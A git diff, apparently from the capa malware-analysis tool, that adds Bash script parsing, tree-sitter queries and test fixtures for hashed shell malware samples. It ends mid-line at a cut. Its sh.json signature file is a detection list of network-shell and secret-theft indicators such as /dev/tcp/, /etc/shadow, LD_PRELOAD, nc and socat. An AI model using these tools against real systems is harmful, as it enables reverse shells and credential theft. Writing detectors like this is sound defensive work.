diff --git a/capa/features/extractors/script.py b/capa/features/extractors/script.py index 0d68ec49c5..7895feb6be 100644 --- a/capa/features/extractors/script.py +++ b/capa/features/extractors/script.py @@ -18,6 +18,7 @@ from capa.features.address import NO_ADDRESS, Address, FileOffsetRangeAddress # Can be used to instantiate tree_sitter Language objects (see ts/query.py) +LANG_BASH = "bash" LANG_CS = "c_sharp" LANG_HTML = "html" LANG_JS = "javascript" @@ -25,12 +26,14 @@ LANG_TEM = "embedded_template" EXT_ASPX = (".aspx", ".aspx_") +EXT_BASH = (".bash", ".sh", ".bash_", ".sh_") EXT_CS = (".cs", ".cs_") EXT_HTML = (".html", ".html_") EXT_PY = (".py", ".py_") LANGUAGE_FEATURE_FORMAT = { + LANG_BASH: "Bash", LANG_CS: "C#", LANG_HTML: "HTML", LANG_JS: "JavaScript", diff --git a/capa/features/extractors/ts/autodetect.py b/capa/features/extractors/ts/autodetect.py index 99dfa4fc02..11b0a95fc8 100644 --- a/capa/features/extractors/ts/autodetect.py +++ b/capa/features/extractors/ts/autodetect.py @@ -17,7 +17,18 @@ from tree_sitter import Node, Tree, Query, Parser, Language, QueryCursor -from capa.features.extractors.script import EXT_CS, EXT_PY, LANG_CS, LANG_PY, EXT_ASPX, EXT_HTML, LANG_TEM, LANG_HTML +from capa.features.extractors.script import ( + EXT_CS, + EXT_PY, + LANG_CS, + LANG_PY, + EXT_ASPX, + EXT_BASH, + EXT_HTML, + LANG_TEM, + LANG_BASH, + LANG_HTML, +) from capa.features.extractors.ts.query import TS_LANGUAGES @@ -62,6 +73,8 @@ def get_template_language_ts(buf: bytes) -> str: def get_language_from_ext(path: str) -> str: if path.endswith(EXT_ASPX): return LANG_TEM + if path.endswith(EXT_BASH): + return LANG_BASH if path.endswith(EXT_CS): return LANG_CS if path.endswith(EXT_HTML): diff --git a/capa/features/extractors/ts/engine.py b/capa/features/extractors/ts/engine.py index a6e69c3b2e..82bd2ac84a 100644 --- a/capa/features/extractors/ts/engine.py +++ b/capa/features/extractors/ts/engine.py @@ -13,7 +13,7 @@ # limitations under the License. import re -from typing import List, Tuple, Iterator, Optional +from typing import List, Tuple, Iterator, Optional, cast from tree_sitter import Node, Tree, Parser, QueryCursor @@ -23,8 +23,10 @@ from capa.features.extractors.ts.query import ( BINDINGS, QueryBinding, + BashQueryBinding, HTMLQueryBinding, ScriptQueryBinding, + FunctionQueryBinding, TemplateQueryBinding, ) from capa.features.extractors.ts.tools import LANGUAGE_TOOLKITS, BaseNamespace, CSharpNamespace, LanguageToolkit @@ -40,11 +42,15 @@ class TreeSitterBaseEngine: language: str query: QueryBinding tree: Tree + buf_offset: int + language_toolkit: LanguageToolkit + namespaces: set[BaseNamespace] = set() - def __init__(self, language: str, buf: bytes): + def __init__(self, language: str, buf: bytes, buf_offset: int = 0): self.language = language self.query = BINDINGS[language] self.buf = buf + self.buf_offset = buf_offset self.tree = self.parse() def parse(self) -> Tree: @@ -58,7 +64,7 @@ def get_str(self, node: Node) -> str: return self.get_byte_range(node).decode("utf-8") def get_address(self, node: Node) -> FileOffsetRangeAddress: - return FileOffsetRangeAddress(node.start_byte, node.end_byte) + return FileOffsetRangeAddress(self.buf_offset + node.start_byte, self.buf_offset + node.end_byte) def get_default_address(self) -> FileOffsetRangeAddress: return self.get_address(self.tree.root_node) @@ -80,11 +86,43 @@ def get_captured_nodes(cursor: QueryCursor, node: Node) -> Iterator[Node]: yield from sorted(captured_nodes, key=TreeSitterBaseEngine.get_node_sort_key) + def get_function_query(self) -> FunctionQueryBinding: + return cast(FunctionQueryBinding, self.query) + + def get_function_definitions(self, node: Optional[Node] = None) -> Iterator[Node]: + node = self.tree.root_node if node is None else node + cursor = QueryCursor(self.get_function_query().function_definition) + yield from self.get_captured_nodes(cursor, node) + + def get_function_definition_name(self, node: Node) -> Node | None: + return node.child_by_field_name(self.get_function_query().function_definition_field_name) + + def get_function_definition_names(self, node: Node) -> Iterator[Node]: + for fd_node in self.get_function_definitions(node): + name_node = self.get_function_definition_name(fd_node) + if name_node is not None: + yield name_node + + def get_function_call_names(self, node: Node) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().function_call_name) + yield from self.get_captured_nodes(cursor, node) + + def get_string_literals(self, node: Node) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().string_literal) + yield from self.get_captured_nodes(cursor, node) + + def get_integer_literals(self, node: Node) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().integer_literal) + yield from self.get_captured_nodes(cursor, node) + + def get_global_statements(self) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().global_statement) + yield from self.get_captured_nodes(cursor, self.tree.root_node) + class TreeSitterExtractorEngine(TreeSitterBaseEngine): query: ScriptQueryBinding language_toolkit: LanguageToolkit - buf_offset: int namespaces: set[BaseNamespace] def __init__( @@ -94,8 +132,7 @@ def __init__( buf_offset: int = 0, additional_namespaces: set[BaseNamespace] | None = None, ): - super().__init__(language, buf) - self.buf_offset = buf_offset + super().__init__(language, buf, buf_offset) self.language_toolkit = LANGUAGE_TOOLKITS[language] if additional_namespaces is None: @@ -104,9 +141,6 @@ def __init__( self.namespaces = set(self.get_processed_namespaces()) self.namespaces = self.namespaces.union(additional_namespaces) - def get_address(self, node: Node) -> FileOffsetRangeAddress: - return FileOffsetRangeAddress(self.buf_offset + node.start_byte, self.buf_offset + node.end_byte) - def get_new_object_names(self, node: Node) -> Iterator[Node]: cursor = QueryCursor(self.query.new_object_name) yield from self.get_captured_nodes(cursor, node) @@ -123,24 +157,6 @@ def get_processed_property_names(self, node: Node) -> Iterator[Tuple[Node, str]] if pt_name: yield pt_node, pt_name - def get_function_definitions(self, node: Optional[Node] = None) -> Iterator[Node]: - node = self.tree.root_node if node is None else node - cursor = QueryCursor(self.query.function_definition) - yield from self.get_captured_nodes(cursor, node) - - def get_function_definition_name(self, node: Node) -> Node | None: - return node.child_by_field_name(self.query.function_definition_field_name) - - def get_function_definition_names(self, node: Node) -> Iterator[Node]: - for fd_node in self.get_function_definitions(node): - name_node = self.get_function_definition_name(fd_node) - if name_node is not None: - yield name_node - - def get_function_call_names(self, node: Node) -> Iterator[Node]: - cursor = QueryCursor(self.query.function_call_name) - yield from self.get_captured_nodes(cursor, node) - def get_imported_constants(self, node: Node) -> Iterator[Node]: cursor = QueryCursor(self.query.imported_constant_name) yield from self.get_captured_nodes(cursor, node) @@ -153,14 +169,6 @@ def get_processed_imported_constants(self, node: Node) -> Iterator[Tuple[Node, s if ic_name: yield ic_node, ic_name - def get_string_literals(self, node: Node) -> Iterator[Node]: - cursor = QueryCursor(self.query.string_literal) - yield from self.get_captured_nodes(cursor, node) - - def get_integer_literals(self, node: Node) -> Iterator[Node]: - cursor = QueryCursor(self.query.integer_literal) - yield from self.get_captured_nodes(cursor, node) - def get_namespaces(self, node: Optional[Node] = None) -> List[Tuple[Node, str]]: target_node = self.tree.root_node if node is None else node cursor = QueryCursor(self.query.namespace) @@ -176,10 +184,6 @@ def get_processed_namespaces(self, node: Optional[Node] = None) -> Iterator[Base for ns_node, query_name in self.get_namespaces(node): yield from self.language_toolkit.process_namespace(ns_node, query_name, self.get_str) - def get_global_statements(self) -> Iterator[Node]: - cursor = QueryCursor(self.query.global_statement) - yield from self.get_captured_nodes(cursor, self.tree.root_node) - def get_direct_method_call(self, node: Node) -> Optional[Node]: cursor = QueryCursor(self.query.direct_method_call) captures = cursor.captures(node) @@ -188,6 +192,25 @@ def get_direct_method_call(self, node: Node) -> Optional[Node]: return nodes[0] return None + def get_feature_namespaces(self) -> Iterator[BaseNamespace]: + yield from self.namespaces + + +class TreeSitterBashEngine(TreeSitterBaseEngine): + query: BashQueryBinding + language_toolkit: LanguageToolkit + + def __init__(self, language: str, buf: bytes, buf_offset: int = 0): + super().__init__(language, buf, buf_offset) + self.language_toolkit = LANGUAGE_TOOLKITS[language] + + def get_variable_names(self, node: Node) -> Iterator[Node]: + cursor = QueryCursor(self.query.variable_name) + yield from self.get_captured_nodes(cursor, node) + + def get_feature_namespaces(self) -> Iterator[BaseNamespace]: + yield from () + class TreeSitterTemplateEngine(TreeSitterBaseEngine): query: TemplateQueryBinding diff --git a/capa/features/extractors/ts/extractor.py b/capa/features/extractors/ts/extractor.py index b3b4b5739c..be23cfcba1 100644 --- a/capa/features/extractors/ts/extractor.py +++ b/capa/features/extractors/ts/extractor.py @@ -23,9 +23,15 @@ from capa.exceptions import UnsupportedFormatError from capa.features.common import Namespace from capa.features.address import NO_ADDRESS, Address, AbsoluteVirtualAddress, FileOffsetRangeAddress -from capa.features.extractors.script import LANG_TEM, LANG_HTML +from capa.features.extractors.script import LANG_TEM, LANG_BASH, LANG_HTML from capa.features.extractors.ts.tools import BaseNamespace -from capa.features.extractors.ts.engine import TreeSitterHTMLEngine, TreeSitterTemplateEngine, TreeSitterExtractorEngine +from capa.features.extractors.ts.engine import ( + TreeSitterBaseEngine, + TreeSitterBashEngine, + TreeSitterHTMLEngine, + TreeSitterTemplateEngine, + TreeSitterExtractorEngine, +) from capa.features.extractors.ts.function import PSEUDO_MAIN, TSFunctionInner from capa.features.extractors.base_extractor import ( Feature, @@ -38,7 +44,7 @@ class TreeSitterFeatureExtractor(StaticFeatureExtractor): - engines: List[TreeSitterExtractorEngine] + engines: List[TreeSitterBaseEngine] template_engine: TreeSitterTemplateEngine language: str path: Path @@ -62,15 +68,17 @@ def get_template_engine(self, buf: bytes): if self.language == LANG_TEM: return TreeSitterTemplateEngine(buf) - def get_engines(self, buf: bytes) -> List[TreeSitterExtractorEngine]: + def get_engines(self, buf: bytes) -> List[TreeSitterBaseEngine]: if self.language == LANG_TEM and self.template_engine: return self.extract_code_from_template() if self.language == LANG_HTML: return self.extract_code_from_html(buf) + if self.language == LANG_BASH: + return [TreeSitterBashEngine(self.language, buf)] return [TreeSitterExtractorEngine(self.language, buf)] - def extract_code_from_template(self) -> List[TreeSitterExtractorEngine]: - engines = list(self.template_engine.get_parsed_code_sections()) + def extract_code_from_template(self) -> List[TreeSitterBaseEngine]: + engines: List[TreeSitterBaseEngine] = list(self.template_engine.get_parsed_code_sections()) for node in self.template_engine.get_content_sections(): section_buf = self.template_engine.get_byte_range(node) engines.extend(self.extract_code_from_html(section_buf, self.template_engine.namespaces)) @@ -78,7 +86,7 @@ def extract_code_from_template(self) -> List[TreeSitterExtractorEngine]: def extract_code_from_html( self, buf: bytes, namespaces: set[BaseNamespace] | None = None - ) -> List[TreeSitterExtractorEngine]: + ) -> List[TreeSitterBaseEngine]: if namespaces is None: namespaces = set() return list(TreeSitterHTMLEngine(buf, namespaces).get_parsed_code_sections()) @@ -102,10 +110,10 @@ def extract_file_features(self) -> Iterator[Tuple[Feature, Address]]: for engine in self.engines: yield from capa.features.extractors.ts.file.extract_features(engine) - def get_pseudo_main_function_inner(self, engine: TreeSitterExtractorEngine) -> TSFunctionInner: + def get_pseudo_main_function_inner(self, engine: TreeSitterBaseEngine) -> TSFunctionInner: return TSFunctionInner(engine.tree.root_node, PSEUDO_MAIN, engine) - def get_pseudo_main_function(self, engine: TreeSitterExtractorEngine) -> FunctionHandle: + def get_pseudo_main_function(self, engine: TreeSitterBaseEngine) -> FunctionHandle: return FunctionHandle(engine.get_default_address(), self.get_pseudo_main_function_inner(engine)) def get_functions(self) -> Iterator[FunctionHandle]: diff --git a/capa/features/extractors/ts/file.py b/capa/features/extractors/ts/file.py index 66a2e34115..2f2a183031 100644 --- a/capa/features/extractors/ts/file.py +++ b/capa/features/extractors/ts/file.py @@ -13,10 +13,11 @@ # limitations under the License. from typing import Tuple, Iterator +from functools import singledispatch from capa.features.common import Feature, Namespace from capa.features.address import Address -from capa.features.extractors.ts.engine import TreeSitterExtractorEngine +from capa.features.extractors.ts.engine import TreeSitterBaseEngine, TreeSitterBashEngine, TreeSitterExtractorEngine def extract_namespaces(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: @@ -25,10 +26,21 @@ def extract_namespaces(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feat yield Namespace(namespace.name), engine.get_address(namespace.node) -def extract_features(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +@singledispatch +def extract_features(engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: + raise TypeError(f"unsupported Tree-Sitter engine: {type(engine).__name__}") + + +@extract_features.register +def _(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: for file_handler in FILE_HANDLERS: for feature, addr in file_handler(engine): yield feature, addr +@extract_features.register +def _(engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + yield from () + + FILE_HANDLERS = (extract_namespaces,) diff --git a/capa/features/extractors/ts/function.py b/capa/features/extractors/ts/function.py index 44d10ea1e1..0a9d5b034b 100644 --- a/capa/features/extractors/ts/function.py +++ b/capa/features/extractors/ts/function.py @@ -13,6 +13,7 @@ # limitations under the License. from typing import Tuple, Iterable, Iterator +from functools import singledispatch from dataclasses import dataclass from tree_sitter import Node @@ -21,7 +22,7 @@ from capa.features.common import Class, String, Feature, Namespace from capa.features.address import Address from capa.features.extractors.ts.tools import BaseNamespace -from capa.features.extractors.ts.engine import TreeSitterExtractorEngine +from capa.features.extractors.ts.engine import TreeSitterBaseEngine, TreeSitterBashEngine, TreeSitterExtractorEngine from capa.features.extractors.base_extractor import FunctionHandle PSEUDO_MAIN = "PSEUDO MAIN" # all global statements in one function scope @@ -31,10 +32,10 @@ class TSFunctionInner: node: Node name: str - engine: TreeSitterExtractorEngine + engine: TreeSitterBaseEngine -def is_pseudo_main_function(fh: FunctionHandle, engine: TreeSitterExtractorEngine) -> bool: +def is_pseudo_main_function(fh: FunctionHandle, engine: TreeSitterBaseEngine) -> bool: return ( fh.address == engine.get_default_address() and fh.inner.node == engine.tree.root_node @@ -42,12 +43,12 @@ def is_pseudo_main_function(fh: FunctionHandle, engine: TreeSitterExtractorEngin ) -def extract_strings(fn_node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def extract_strings(fn_node: Node, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: for node in engine.get_string_literals(fn_node): yield String(engine.language_toolkit.parse_string(engine.get_str(node))), engine.get_address(node) -def extract_integers(fn_node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def extract_integers(fn_node: Node, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: for node in engine.get_integer_literals(fn_node): try: yield Number(engine.language_toolkit.parse_integer(engine.get_str(node))), engine.get_address(node) @@ -133,7 +134,7 @@ def _extract_properties( yield Property(engine.language_toolkit.format_imported_property(full_name)), engine.get_address(pt_node) -def _extract_static_methods(node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def _extract_static_methods(node: Node, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: if engine.language_toolkit.is_builtin(engine.get_str(node)): yield API(engine.language_toolkit.get_builtin_name(engine.get_str(node))), engine.get_address(node) for full_name in get_possible_full_names(engine.get_str(node), engine.namespaces): @@ -188,15 +189,56 @@ def _extract_features(fn_node: Node, engine: TreeSitterExtractorEngine) -> Itera yield feature, addr -def extract_features(fh: FunctionHandle, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def _extract_bash_function_calls(fn_node: Node, engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + for node in engine.get_function_call_names(fn_node): + yield from _extract_static_methods(node, engine) + + +def _extract_bash_pseudo_main_features(engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + for node in engine.get_global_statements(): + yield from _extract_bash_features(node, engine) + + +def _extract_bash_features(fn_node: Node, engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + for function_handler in BASH_FUNCTION_HANDLERS: + for feature, addr in function_handler(fn_node, engine): + yield feature, addr + + +@singledispatch +def _extract_engine_features(engine: TreeSitterBaseEngine, fh: FunctionHandle) -> Iterator[Tuple[Feature, Address]]: + raise TypeError(f"unsupported Tree-Sitter engine: {type(engine).__name__}") + + +@_extract_engine_features.register +def _(engine: TreeSitterExtractorEngine, fh: FunctionHandle) -> Iterator[Tuple[Feature, Address]]: if is_pseudo_main_function(fh, engine): yield from _extract_pseudo_main_features(engine) else: yield from _extract_features(fh.inner.node, engine) +@_extract_engine_features.register +def _(engine: TreeSitterBashEngine, fh: FunctionHandle) -> Iterator[Tuple[Feature, Address]]: + if is_pseudo_main_function(fh, engine): + yield from _extract_bash_pseudo_main_features(engine) + else: + yield from _extract_bash_features(fh.inner.node, engine) + + +def extract_features(fh: FunctionHandle, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: + yield from _extract_engine_features(engine, fh) + + FUNCTION_HANDLERS = ( extract_imports, extract_integers, extract_strings, ) + + +BASH_FUNCTION_HANDLERS = ( + _extract_bash_function_calls, + extract_integers, + extract_strings, +) diff --git a/capa/features/extractors/ts/query.py b/capa/features/extractors/ts/query.py index 3d761c05eb..3af1ea23aa 100644 --- a/capa/features/extractors/ts/query.py +++ b/capa/features/extractors/ts/query.py @@ -14,6 +14,7 @@ from dataclasses import dataclass +import tree_sitter_bash import tree_sitter_html import tree_sitter_python import tree_sitter_c_sharp @@ -26,6 +27,7 @@ LANG_JS, LANG_PY, LANG_TEM, + LANG_BASH, LANG_HTML, ) @@ -36,20 +38,24 @@ class QueryBinding: @dataclass -class ScriptQueryBinding(QueryBinding): - new_object_name: Query +class FunctionQueryBinding(QueryBinding): function_definition: Query function_definition_field_name: str - direct_method_call: Query function_call_name: Query - property_name: Query - imported_constant_name: Query string_literal: Query integer_literal: Query - namespace: Query global_statement: Query +@dataclass +class ScriptQueryBinding(FunctionQueryBinding): + new_object_name: Query + direct_method_call: Query + property_name: Query + imported_constant_name: Query + namespace: Query + + @dataclass class TemplateQueryBinding(QueryBinding): code: Query @@ -63,7 +69,13 @@ class HTMLQueryBinding(QueryBinding): attribute: Query +@dataclass +class BashQueryBinding(FunctionQueryBinding): + variable_name: Query + + TS_LANGUAGES: dict[str, Language] = { + LANG_BASH: Language(tree_sitter_bash.language()), LANG_CS: Language(tree_sitter_c_sharp.language()), LANG_PY: Language(tree_sitter_python.language()), LANG_JS: Language(tree_sitter_javascript.language()), @@ -87,6 +99,67 @@ def deserialize(language: str, binding: dict) -> dict: BINDINGS: dict[str, QueryBinding] = { + LANG_BASH: BashQueryBinding( + TS_LANGUAGES[LANG_BASH], + **deserialize( + LANG_BASH, + { + "query": { + # foo() { ... } + "function_definition": """ + (function_definition) @function-definition + """, + # echo, test, ls, cat + "function_call_name": """ + (command name: (command_name) @function-call) + """, + # $x + "variable_name": """ + (variable_name) @variable-name + """, + # "hi" or heredoc + "string_literal": """ + [ + (string) @string-literal + (raw_string) @string-literal + (heredoc_body) @string-literal + ] + """, + # 1 or 2>file + "integer_literal": """ + [ + (number) @integer-literal + (file_descriptor) @integer-literal + ] + """, + # global statements + "global_statement": """ + (program + [ + (command) + (variable_assignment) + (if_statement) + (while_statement) + (for_statement) + (c_style_for_statement) + (case_statement) + (pipeline) + (list) + (compound_statement) + (subshell) + (declaration_command) + (test_command) + (negated_command) + (redirected_statement) + ] @global-statement) + """, + }, + "field_name": { + "function_definition": "name", + }, + }, + ), + ), LANG_CS: ScriptQueryBinding( TS_LANGUAGES[LANG_CS], **deserialize( diff --git a/capa/features/extractors/ts/signatures/sh.json b/capa/features/extractors/ts/signatures/sh.json new file mode 100644 index 0000000000..459bb81d23 --- /dev/null +++ b/capa/features/extractors/ts/signatures/sh.json @@ -0,0 +1,72 @@ +{ + "classes": [], + "constructors": [], + "properties": [], + "constants": [ + "/dev/tcp/", + "/dev/udp/", + "/etc/shadow", + "BASH_ENV", + "LD_LIBRARY_PATH", + "LD_PRELOAD" + ], + "builtins": [ + ".", + "declare", + "eval", + "exec", + "source", + "test", + "trap", + "umask" + ], + "functions": [ + "apt-get", + "awk", + "base64", + "chattr", + "chmod", + "chown", + "chroot", + "crontab", + "curl", + "dd", + "env", + "fetch", + "iptables", + "killall", + "masscan", + "mkdir", + "mkfifo", + "mktemp", + "mount", + "nc", + "ncat", + "netcat", + "nohup", + "openssl", + "passwd", + "php", + "pkill", + "python", + "rm", + "rsync", + "scp", + "shred", + "sleep", + "socat", + "ssh", + "sshpass", + "su", + "sudo", + "swapoff", + "systemctl", + "tcpdump", + "usermod", + "wget", + "xattr", + "xxd", + "zmap", + "zsh" + ] +} diff --git a/capa/features/extractors/ts/tools.py b/capa/features/extractors/ts/tools.py index fb50d914ba..03cf09158a 100644 --- a/capa/features/extractors/ts/tools.py +++ b/capa/features/extractors/ts/tools.py @@ -14,6 +14,7 @@ import abc import json +import posixpath import importlib.resources from typing import Dict, List, Tuple, Union, Callable, Iterator, Optional from dataclasses import dataclass @@ -21,7 +22,7 @@ from tree_sitter import Node import capa.features.extractors.ts.signatures -from capa.features.extractors.script import LANG_CS, LANG_PY +from capa.features.extractors.script import LANG_CS, LANG_PY, LANG_BASH @dataclass(frozen=True) @@ -214,6 +215,30 @@ def get_default_namespaces(self, embedded: bool) -> set[BaseNamespace]: raise NotImplementedError() +class BashToolkit(LanguageToolkit): + signature_file: str = "sh.json" + method_call_query_type: str = "command" + property_query_type: str = "variable_name" + string_delimiters: str = "\"'" + integer_prefixes: List[Tuple[Union[str, Tuple[str, ...]], int]] = [(("0x", "0X"), 16)] + integer_suffixes: Tuple[str, ...] = () + + def create_namespace(self, name: str) -> BaseNamespace: + raise NotImplementedError("Bash does not support namespaces") + + def process_namespace(self, node: Node, query_name: str, get_str: Callable) -> Iterator[BaseNamespace]: + yield from [] + + def get_default_namespaces(self, embedded: bool) -> set[BaseNamespace]: + return set() + + def format_imported_function(self, name: str) -> str: + return posixpath.basename(name) + + def get_full_name(self, name: str, namespace: Optional[BaseNamespace] = None) -> str: + return posixpath.basename(name) + + class CSharpToolkit(LanguageToolkit): signature_file: str = "cs.json" method_call_query_type: str = "invocation_expression" @@ -294,4 +319,8 @@ def get_default_namespaces(self, embedded: bool) -> set[BaseNamespace]: return set() -LANGUAGE_TOOLKITS: dict[str, LanguageToolkit] = {LANG_CS: CSharpToolkit(), LANG_PY: PythonToolkit()} +LANGUAGE_TOOLKITS: dict[str, LanguageToolkit] = { + LANG_BASH: BashToolkit(), + LANG_CS: CSharpToolkit(), + LANG_PY: PythonToolkit(), +} diff --git a/capa/helpers.py b/capa/helpers.py index d82b65a0ce..4d71c07b81 100644 --- a/capa/helpers.py +++ b/capa/helpers.py @@ -27,10 +27,10 @@ from datetime import datetime import msgspec.json +from rich.text import Text from rich.console import Console from rich.progress import ( Task, - Text, Progress, BarColumn, TextColumn, @@ -59,7 +59,7 @@ FORMAT_BINEXPORT2, Format, ) -from capa.features.extractors.script import EXT_CS, EXT_PY, EXT_ASPX, EXT_HTML +from capa.features.extractors.script import EXT_CS, EXT_PY, EXT_ASPX, EXT_BASH, EXT_HTML EXTENSIONS_SHELLCODE_32 = (".sc32", ".raw32") EXTENSIONS_SHELLCODE_64 = (".sc64", ".raw64") @@ -71,7 +71,7 @@ EXTENSIONS_ELF = ".elf_" EXTENSIONS_FREEZE = ".frz" EXTENSIONS_BINJA_DB = ".bndb" -EXTENSIONS_SUPPORTED_SCRIPTS = EXT_ASPX + EXT_CS + EXT_HTML + EXT_PY +EXTENSIONS_SUPPORTED_SCRIPTS = EXT_ASPX + EXT_BASH + EXT_CS + EXT_HTML + EXT_PY logger = logging.getLogger("capa") diff --git a/pyproject.toml b/pyproject.toml index 8e2a689dc7..096313e75d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -107,6 +107,7 @@ dependencies = [ "dnfile>=0.17.0", "tree-sitter>=0.25.0", + "tree-sitter-bash>=0.25.1", "tree-sitter-c-sharp>=0.23.0", "tree-sitter-embedded-template>=0.25.0", "tree-sitter-html>=0.23.0", diff --git a/requirements.txt b/requirements.txt index 8ec3ca168c..c785ba4945 100644 --- a/requirements.txt +++ b/requirements.txt @@ -48,6 +48,7 @@ vivisect==1.3.2 msgspec==0.21.1 bump-my-version==1.5.0 tree-sitter==0.25.2 +tree-sitter-bash==0.25.1 tree-sitter-c-sharp==0.23.1 tree-sitter-embedded-template==0.25.0 tree-sitter-html==0.23.2 diff --git a/tests/fixtures/__init__.py b/tests/fixtures/__init__.py index a2c799b51e..db72eb3c3b 100644 --- a/tests/fixtures/__init__.py +++ b/tests/fixtures/__init__.py @@ -28,7 +28,7 @@ import capa.render.result_document from capa.features.common import OS_AUTO, FORMAT_AUTO, Feature from capa.features.address import Address -from capa.features.extractors.script import LANG_CS, LANG_PY +from capa.features.extractors.script import LANG_CS, LANG_PY, LANG_BASH from capa.features.extractors.base_extractor import ( BBHandle, CallHandle, @@ -48,6 +48,7 @@ DNFILE_TESTFILES = CD / "data" / "dotnet" / "dnfile-testfiles" SOURCE_DIR = CD / "data" / "source" ASPX_DIR = SOURCE_DIR / "aspx" +BASH_DIR = SOURCE_DIR / "sh" CS_DIR = SOURCE_DIR / "cs" PY_DIR = SOURCE_DIR / "py" @@ -883,6 +884,16 @@ def py_a4d252_template_engine(): return get_ts_extractor_engine(LANG_PY, PY_DATA_PATH_BY_NAME["py_a4d252"]) +@pytest.fixture +def sh_cff512_extractor_engine(): + return get_ts_extractor_engine(LANG_BASH, BASH_DATA_PATH_BY_NAME["sh_cff512"].read_bytes()) + + +@pytest.fixture +def sh_91800a_extractor_engine(): + return get_ts_extractor_engine(LANG_BASH, BASH_DATA_PATH_BY_NAME["sh_91800a"].read_bytes()) + + def resolve_sample_ts(sample): if sample.startswith("cs_"): return CS_DATA_PATH_BY_NAME[sample] @@ -893,6 +904,11 @@ def resolve_sample_ts(sample): return ASPX_DATA_PATH_BY_NAME[sample] except KeyError: raise ValueError(f"unexpected sample fixture: {sample}") + if sample.startswith("sh_"): + try: + return BASH_DATA_PATH_BY_NAME[sample] + except KeyError: + raise ValueError(f"unexpected sample fixture: {sample}") raise ValueError(f"unexpected sample fixture: {sample}") @@ -1173,6 +1189,8 @@ def get_binexport_extractor(path): def get_ts_extractor_engine(language, buf): import capa.features.extractors.ts.engine + if language == LANG_BASH: + return capa.features.extractors.ts.engine.TreeSitterBashEngine(language, buf) return capa.features.extractors.ts.engine.TreeSitterExtractorEngine(language, buf) @@ -1226,3 +1244,9 @@ def get_ts_extractor(path): "py_a4d252": PY_DIR / "a4d252752d0558206b3f631fee3d57ae56190fb8203e571506fa058d076fbb96.py_", "py_bb68ae": PY_DIR / "bb68aefb6fc00983cf9ecb8ea0fc768ada674e2698c5878dc1b9f3fca8f3f359.py_", } + + +BASH_DATA_PATH_BY_NAME = { + "sh_91800a": BASH_DIR / "91800a2afbdc98837d6b23a6de2b5f2433fedcdae9330d0a5b2a776571a4fef6.sh_", + "sh_cff512": BASH_DIR / "cff512dd1c9f82e79a9cc5af5f0a096b20737548f8d1bdc1aebf5744ffc78f6b.sh_", +} diff --git a/tests/test_ts.py b/tests/test_ts.py index de653adbb1..c38fa1ea50 100644 --- a/tests/test_ts.py +++ b/tests/test_ts.py @@ -33,11 +33,20 @@ ScriptLanguage, ) from capa.features.address import FileOffsetRangeAddress -from capa.features.extractors.script import LANG_CS, LANG_JS, LANG_PY, LANG_TEM, LANG_HTML, LANGUAGE_FEATURE_FORMAT +from capa.features.extractors.script import ( + LANG_CS, + LANG_JS, + LANG_PY, + LANG_TEM, + LANG_BASH, + LANG_HTML, + LANGUAGE_FEATURE_FORMAT, +) from capa.features.extractors.ts.query import QueryBinding, HTMLQueryBinding, TemplateQueryBinding from capa.features.extractors.ts.tools import LANGUAGE_TOOLKITS from capa.features.extractors.ts.engine import ( TreeSitterBaseEngine, + TreeSitterBashEngine, TreeSitterHTMLEngine, TreeSitterTemplateEngine, TreeSitterExtractorEngine, @@ -45,7 +54,7 @@ def do_test_ts_base_engine_init(engine: TreeSitterBaseEngine): - assert engine.language in [LANG_CS, LANG_TEM, LANG_HTML, LANG_JS] + assert engine.language in [LANG_BASH, LANG_CS, LANG_TEM, LANG_HTML, LANG_JS] assert isinstance(engine.query, QueryBinding) assert isinstance(engine.buf, bytes) and len(engine.buf) > 0 assert isinstance(engine.tree, Tree) @@ -70,7 +79,7 @@ def do_test_ts_base_engine_get_default_address(engine: TreeSitterBaseEngine): assert addr1.start_byte == addr2.start_byte and addr1.end_byte == addr2.end_byte -def do_test_ts_extractor_engine_init(engine: TreeSitterExtractorEngine, expected_language: str): +def do_test_ts_extractor_engine_init(engine: TreeSitterBaseEngine, expected_language: str): assert engine.language == expected_language assert isinstance(engine.query, QueryBinding) assert isinstance(engine.get_default_address(), FileOffsetRangeAddress) @@ -99,7 +108,7 @@ def do_test_ts_extractor_engine_get_new_objects( def do_test_ts_extractor_engine_get_function_definitions( - engine: TreeSitterExtractorEngine, root_node: Node, expected: List[Tuple[str, str]] + engine: TreeSitterBaseEngine, root_node: Node, expected: List[Tuple[str, str]] ): assert list(engine.get_function_definitions(engine.tree.root_node)) == list(engine.get_function_definitions()) assert len(list(engine.get_function_definitions(root_node))) == len(expected) @@ -120,7 +129,7 @@ def do_test_ts_extractor_engine_get_function_definitions( def do_test_ts_extractor_engine_get_function_calls( - engine: TreeSitterExtractorEngine, root_node: Node, expected: List[Tuple[str, str]] + engine: TreeSitterBaseEngine, root_node: Node, expected: List[Tuple[str, str]] ): assert len(list(engine.get_function_call_names(root_node))) == len(expected) for node, (_, expected_id_range) in zip(engine.get_function_call_names(root_node), expected): @@ -129,9 +138,7 @@ def do_test_ts_extractor_engine_get_function_calls( do_test_ts_base_engine_get_address(engine, node) -def do_test_ts_extractor_engine_get_string_literals( - engine: 